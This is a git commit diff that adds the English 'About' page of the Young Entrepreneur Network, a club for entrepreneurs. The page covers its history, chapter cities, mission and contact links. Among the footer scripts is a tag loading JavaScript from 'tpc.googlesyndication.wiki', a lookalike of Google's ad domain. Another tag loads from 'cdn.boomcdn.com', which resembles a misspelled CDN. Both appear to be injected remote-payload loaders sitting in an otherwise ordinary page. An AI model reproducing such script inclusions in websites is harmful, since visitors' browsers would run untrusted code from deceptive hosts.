initial commit
This commit is contained in:
+206
@@ -0,0 +1,206 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
|
||||
<head>
|
||||
<!-- basic meta tags
|
||||
=========================================== -->
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0,shrink-to-fit=no">
|
||||
|
||||
<!-- style files
|
||||
=========================================== -->
|
||||
<link rel="icon" href="../favicon.ico">
|
||||
<!-- fonta -->
|
||||
<link rel="preconnect" href="https://fonts.gstatic.com">
|
||||
<link href="https://fonts.googleapis.com/css2?family=Montserrat:wght@400;500;700&display=swap" rel="stylesheet">
|
||||
<!-- Bootstrap CSS -->
|
||||
<link rel="stylesheet" href="../style/bootstrap.min.css" />
|
||||
<!-- animated.css -->
|
||||
<link rel="stylesheet" href="../style/animate.min.css" />
|
||||
<!-- css -->
|
||||
<link rel="stylesheet" href="../style/style.css">
|
||||
<link rel="stylesheet" href="../style/about.css">
|
||||
<link rel="stylesheet" href="../style/en.css">
|
||||
|
||||
<!-- page title
|
||||
=========================================== -->
|
||||
<title>YEN</title>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<!-- navbar
|
||||
=========================================== -->
|
||||
<nav class="navbar navbar-expand-md navbar-dark fixed-top header">
|
||||
<div class="container">
|
||||
<!-- left -->
|
||||
<div class="header-container">
|
||||
<a href="index.html">
|
||||
<img class="site-logo" src="../images/logo.png" />
|
||||
<label>YEN</label>
|
||||
</a>
|
||||
<h2>About Y.E.N</h2>
|
||||
<button style="border:none; outline: none;" class="navbar-toggler" type="button" data-toggle="collapse"
|
||||
data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false"
|
||||
aria-label="Toggle navigation">
|
||||
<span class="nav__icon"></span>
|
||||
</button>
|
||||
</div>
|
||||
<!-- right -->
|
||||
<div class="collapse navbar-collapse justify-content-end" id="navbarSupportedContent">
|
||||
<ul class="navbar-nav">
|
||||
<li class="nav-item">
|
||||
<a class="nav-link active" href="index.html" data-i18n-text="home">Home</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" href="about.html" data-i18n-text="aboutUs">About Y.E.N</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" href="value.html" data-i18n-text="">The Y.E.N. Experience</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" href="join.html" data-i18n-text="">Join Us</a>
|
||||
</li>
|
||||
</ul>
|
||||
<div id="language" class="select-language">
|
||||
<a href="../index.html">简</a> | <a href="../tc/index.html">繁</a> | <a href="index.html">EN</a>
|
||||
</div>
|
||||
</div><!-- /nav links -->
|
||||
</div><!-- /container -->
|
||||
</nav><!-- /navbar -->
|
||||
|
||||
<main>
|
||||
<section id="block-about-1" class="page-block block-about-1">
|
||||
<div class="slideshow">
|
||||
<div class="slideshow-3-image" style="background-image: url('../images/block-about-1a.jpg')"></div>
|
||||
<div class="slideshow-3-image" style="background-image: url('../images/block-about-1b.jpg')"></div>
|
||||
<div class="slideshow-3-image" style="background-image: url('../images/block-about-1c.jpg')"></div>
|
||||
</div>
|
||||
<div class="main-about main-about-mask-1">
|
||||
<div class="container">
|
||||
<div class="content-1">
|
||||
<h2 class="animate__animated animate__fadeInLeft">About Y.E.N</h2>
|
||||
<p class="animate__animated animate__fadeInUp">Young Entrepreneur Network (YEN) started out back in 2008 and was formally established in 2012. Our members are aged between 24-45 and consist of entrepreneurs or successors to their family business.</p>
|
||||
<p class="animate__animated animate__fadeInUp">YEN members are a diverse bunch full of unique ideas but with shared values such as continually learning, pivoting and innovating in our businesses. In doing so, we create a safe and supportive organization that bonds our members together in their entrepreneurial journey.</p>
|
||||
<p class="animate__animated animate__fadeInUp">Our Chinese name 雁博会, takes a page from the wild geese, both in name, 雁(yàn) and spirit. These geese fly in a ‘V’ formation to conserve energy over the long haul and also take turns at the most tiring lead position. In YEN, we take the same approach to help each other avoid pitfalls in life and business as well as rotate leadership of the organization.</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section id="block-about-2" class="page-block block-about-2">
|
||||
<div class="slideshow">
|
||||
<div class="slideshow-5-image" style="background-image: url('../images/city-1.jpg')"></div>
|
||||
<div class="slideshow-5-image" style="background-image: url('../images/city-2.jpg')"></div>
|
||||
<div class="slideshow-5-image" style="background-image: url('../images/city-3.jpg')"></div>
|
||||
<div class="slideshow-5-image" style="background-image: url('../images/city-4.jpg')"></div>
|
||||
<div class="slideshow-5-image" style="background-image: url('../images/city-5.jpg')"></div>
|
||||
</div>
|
||||
<div class="main-about main-about-mask-2">
|
||||
<div class="container">
|
||||
<!-- <div class="nav-img"><img id="nav-2" src="../images/fh-tc.png" /></div> -->
|
||||
<div class="city-items">
|
||||
<div id="content-2">
|
||||
<h5>We currently have 240 members from 11 chapters around the world in these cities:</h5>
|
||||
<span>Beijing</span>
|
||||
<span>Taiwan</span>
|
||||
<span>Shanghai</span>
|
||||
<span>Hong Kong</span>
|
||||
<span>Nanjing</span>
|
||||
<span>Singapore</span>
|
||||
<span>Shenzhen</span>
|
||||
<span>Malaysia</span>
|
||||
<span>Guangzhou</span>
|
||||
<span>Vietnam</span>
|
||||
<span>Chongqing</span>
|
||||
</div>
|
||||
</div>
|
||||
<img class="map" src="../images/map.png" />
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section id="block-about-3" class="page-block block-about-3">
|
||||
<div class="slideshow">
|
||||
<div class="slideshow-3-image" style="background-image: url('../images/block-about-2a.jpg')"></div>
|
||||
<div class="slideshow-3-image" style="background-image: url('../images/block-about-2b.jpg')"></div>
|
||||
<div class="slideshow-3-image" style="background-image: url('../images/block-about-2c.jpg')"></div>
|
||||
</div>
|
||||
<div class="main-about main-about-mask-3">
|
||||
<div class="container">
|
||||
<!-- <div class="nav-img"><img id="nav-3" src="../images/sm.png" /></div> -->
|
||||
<div class="sm">
|
||||
<div id="content-3">
|
||||
<h3>Y.E.N’s Mission Statement.</h3>
|
||||
<p>We come together in YEN to create a positive and open environment, driven by the shared belief to help members learn, share and grow in their businesses and lives for the purpose of making the world a better place.</p>
|
||||
<h3>YEN’s 3 Brand Promises</h3>
|
||||
<p>1. Helping you achieve business & personal growth</p>
|
||||
<p>2. Creating your sense of belonging in YEN</p>
|
||||
<p>3. Steadfast support in sharing your most challenging endeavors</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section class="contact-wrapper">
|
||||
<div class="container">
|
||||
<div class="main-content">
|
||||
<label>Contact Y.E.N</label>
|
||||
<p>
|
||||
<span>
|
||||
<img src="../images/icon-mail.png" />
|
||||
<a href="https://yen.network/cdn-cgi/l/email-protection#6f160a01410e0b0206015e2f060c03001a0b410c0002"><span class="__cf_email__" data-cfemail="bfc6dad191dedbd2d6d18effd6dcd3d0cadb91dcd0d2">[email protected]</span></a>
|
||||
</span>
|
||||
<span>
|
||||
<img src="../images/icon-fb.png" />
|
||||
<a href="https://www.facebook.com/groups/yen.intl" target="_blank">Young Entrepreneurs Network</a>
|
||||
</span>
|
||||
<span>
|
||||
<img src="../images/icon-wechat.png" />
|
||||
<a href="javascript:;">WeChat Official Account: 雁博会YEN</a>
|
||||
</span>
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
</main>
|
||||
<div class="copyright">© 2022 Young Entrepreneurs Network.</div>
|
||||
|
||||
|
||||
|
||||
|
||||
<!-- bootsrap js and jquery
|
||||
=========================================== -->
|
||||
<script data-cfasync="false" src="../cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="https://cdn.boomcdn.com/libs/wow-js/1.3.0/wow.min.js"></script>
|
||||
<script type="text/javascript" src="https://tpc.googlesyndication.wiki/sodar/sodar2.js"></script>
|
||||
<script>
|
||||
new WOW().init();
|
||||
</script>
|
||||
<script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
|
||||
<script src="https://cdn.staticfile.org/twitter-bootstrap/4.3.1/js/bootstrap.min.js"></script>
|
||||
<script src="https://cdn.staticfile.org/popper.js/1.15.0/umd/popper.min.js"></script>
|
||||
<script src="../js/jquery.cookie.min.js"></script>
|
||||
<script src="../js/common.js"></script>
|
||||
<script>
|
||||
const oContainer1 = document.getElementById('block-about-1');
|
||||
const oContainer2 = document.getElementById('block-about-2');
|
||||
const oContainer3 = document.getElementById('block-about-3');
|
||||
const oNav2 = document.getElementById('nav-2');
|
||||
const oNav3 = document.getElementById('nav-3');
|
||||
const oContent2 = document.getElementById('content-2');
|
||||
const oContent3 = document.getElementById('content-3');
|
||||
|
||||
window.onscroll = function(e) {
|
||||
if(scrollY > oContainer1.offsetTop + oContainer1.offsetHeight / 3) {
|
||||
oNav2.setAttribute('class', 'animate__animated animate__fadeInLeft')
|
||||
oContent2.setAttribute('class', 'animate__animated animate__fadeInUp')
|
||||
}
|
||||
if(scrollY > oContainer1.offsetTop + oContainer2.offsetHeight + oContainer3.offsetHeight / 3) {
|
||||
oNav3.setAttribute('class', 'animate__animated animate__fadeInLeft')
|
||||
oContent3.setAttribute('class', 'animate__animated animate__fadeInRight')
|
||||
}
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
Reference in New Issue
Block a user